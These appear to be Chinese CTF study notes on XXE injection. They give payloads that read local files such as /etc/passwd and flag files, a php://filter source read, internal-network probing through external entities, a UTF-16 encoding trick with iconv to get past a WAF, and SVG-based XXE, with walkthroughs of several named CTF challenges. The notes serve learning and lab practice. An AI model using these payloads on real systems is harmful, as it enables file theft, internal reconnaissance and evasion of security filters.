基础语句
解释:
<?xml version="1.0" encoding="utf-8"?>//XML声明,可以不要
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///flag">
]>//DTD部分这里的note其实是一个代号吧可以改,和下面的<user></user>对应
<user><username>&admin;</username><password>123456</password></user>//XML部分,一开始就有的
<!DOCTFPE scan [<!ENTITY test SYSTEM "file:///c:/1.txt">]> DTD部分,这里的是scan,和<scan></scan>对应
<scan>&test;</scan> XML部分
payload:file(必须写完整路径)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<user><username>&admin;</username><password>123</password></user>
payload:php://filter(可以写相对路径,也可以写完整路径)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY aaa SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
]>
<a><username>&aaa;</username><password>aaa</password></a>
内网探针
来源:[NCTF2019]True XML cookbook
内网探针常见文件
/etc/hosts
/proc/net/arp
/proc/net/tcp
/proc/net/udp
/proc/net/dev
/proc/net/fib_trie
语句
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY aaa SYSTEM "http://10.128.253.12">
]>
<a><username>&aaa;</username><password>aaa</password></a>
如果ip存在,则返回正常
payload
读取/proc/net/fib_trie ,一般好像都是读取/etc/hosts,/proc/net/arp
得到:10.244.80.54
进行C段爆破,更改54,进行爆破
最终在:10.244.80.16得到flag
waf绕过
文章:绕过WAF保护的XXE
编码绕过
原理:
一个xml文档不仅可以用UTF-8编码,也可以用UTF-16(两个变体 - BE和LE)、UTF-32(四个变体 - BE、LE、2143、3412)和EBCDIC编码。
在这种编码的帮助下,使用正则表达式可以很容易地绕过WAF,因为在这种类型的WAF中,正则表达式通常仅配置为单字符集。
先创建一个正常的xml文件,名字为rce.xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<user><username>&admin;</username><password>123</password></user>
然后使用kali的命令iconv,进行编码
iconv -f utf8 -t utf-16 '/root/桌面/rce.xml'>2.xml #将rce.xml改成UTF-16BE编码,放入2.xml中
还有utf-32和EBCDIC没有尝试,以后进行尝试
svg
语法格式
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///etc/passwd" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>
其中note和<text></text>可以随便修改,text中的x="10" y="20"不能少,因为于普通xml不同的是,他的数据是以图片的形式回显的,x="10" y="20"决定了大小,没了的话就变成一条线了
于普通的xml的区别
普通的xml二者对比
1.多了svg标签,数据<text x="10" y="20">&file;</text>只能写在svg标签内,可以有多条,但是只能得到一条数据
2.他的数据是以图片的形式回显的
例题
[CSAWQual 2019]Web_Unagi
思路
1.发现upload上传,尝试上传一句话木马,失败
2.upload.php中有一个here链接,点进去,发现xml样式,尝试上传xml文件,发现有waf
3.尝试使用使用xml编码绕过
payload
<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
<user>
<username>bob</username>
<password>passwd2</password>
<name> Bob</name>
<email>bob@fakesite.com</email>
<group>CSAW2019</group>
<intro>&xxe;</intro>
</user>
</users>
注:1.&xxe;要写在<intro></intro>里面,应为他intro(简介)能显示更多字符,其他的显示不完全。
2.<user></user>里面可以只写<intro>&xxe;</intro>,其他的不写不影响内容显示
然后进行编码,命令:
iconv -f utf8 -t utf-16 '/root/桌面/rce.xml'>2.xml #将rce.xml改成UTF-16BE编码,放入2.xml中
[BSidesCF 2019]SVGMagic
思路
1.题目提示svg图片格式,svg是使用的xml定义图片,尝试构成svg格式的xml,成功回显/etc/passwd
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///etc/passwd" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>
payload
1.尝试/flag,/flag.txt,/var/www/html/flag.txt,都没有
2.尝试使用/proc/self/pwd/,代表的是当前路径,/proc/self/pwd/flag.txt,成功
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>